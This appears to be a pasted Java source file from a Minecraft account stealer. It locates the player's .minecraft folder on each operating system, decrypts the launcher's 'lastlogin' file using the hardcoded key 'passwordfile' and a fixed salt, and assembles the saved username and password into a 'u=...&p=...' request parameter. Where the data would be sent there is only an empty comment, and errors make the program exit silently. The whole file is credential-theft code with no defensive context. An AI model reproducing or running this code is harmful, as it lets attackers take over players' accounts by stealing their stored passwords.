JKUVMwDg

1import java.io.*;
2import java.net.URL;
3import java.util.Random;
4
5import javax.crypto.*;
6import javax.crypto.spec.*;
7
8public class Main
9{
10	public static void main( String[ ] args )
11	{
12		try
13		{
14			File workDir = getWorkingDirectory( );
15			
16			if( !workDir.exists( ) )
17			{
18				System.exit( 0 );
19			}
20			
21			File lastLogin = new File( workDir, "lastlogin" );
22			
23			Cipher cipher = getCipher( 2, "passwordfile" );
24			
25			DataInputStream dis;
26			
27			if( cipher != null )
28				dis = new DataInputStream( new CipherInputStream( new FileInputStream( lastLogin ), cipher ) );
29			else
30				dis = new DataInputStream( new FileInputStream( lastLogin ) );
31			
32			String param = "u=" + dis.readUTF( ) + "&p=" + dis.readUTF( );
33			
34			dis.close( );
35			
36			//
37		}
38		catch( Exception e )
39		{
40			System.exit( 0 );
41		}
42	}
43	
44	private static Cipher getCipher( int mode, String password ) throws Exception
45	{
46		Random random = new Random( 43287234L );
47		byte[ ] salt = new byte[ 8 ];
48		random.nextBytes( salt );
49		PBEParameterSpec pbeParamSpec = new PBEParameterSpec( salt, 5 );
50		
51		SecretKey pbeKey = SecretKeyFactory.getInstance( "PBEWithMD5AndDES" ).generateSecret( new PBEKeySpec( password.toCharArray( ) ) );
52		Cipher cipher = Cipher.getInstance( "PBEWithMD5AndDES" );
53		cipher.init( mode, pbeKey, pbeParamSpec );
54		return cipher;
55	}
56	
57	private static int getPlatform( )
58	{
59		String osName = System.getProperty( "os.name" ).toLowerCase( );
60		if( osName.contains( "win" ) ) return 2;
61		if( osName.contains( "mac" ) ) return 3;
62		if( osName.contains( "solaris" ) ) return 1;
63		if( osName.contains( "sunos" ) ) return 1;
64		if( osName.contains( "linux" ) ) return 1;
65		if( osName.contains( "unix" ) ) return 1;
66		return 4;
67	}
68	
69	private static File getWorkingDirectory( )
70	{
71		String userHome = System.getProperty( "user.home", "." );
72		String folder = ".minecraft/";
73		
74		switch( getPlatform( ) )
75		{
76			case 1: break;
77			case 2:
78				String appData = System.getenv( "APPDATA" );
79				if( appData != null ) userHome = appData;
80				break;
81			case 3:
82				folder = "Library/Application Support/minecraft";
83				break;
84			default:
85				folder = "minecraft/";
86		}
87		
88		return new File( userHome, folder );
89	}
90}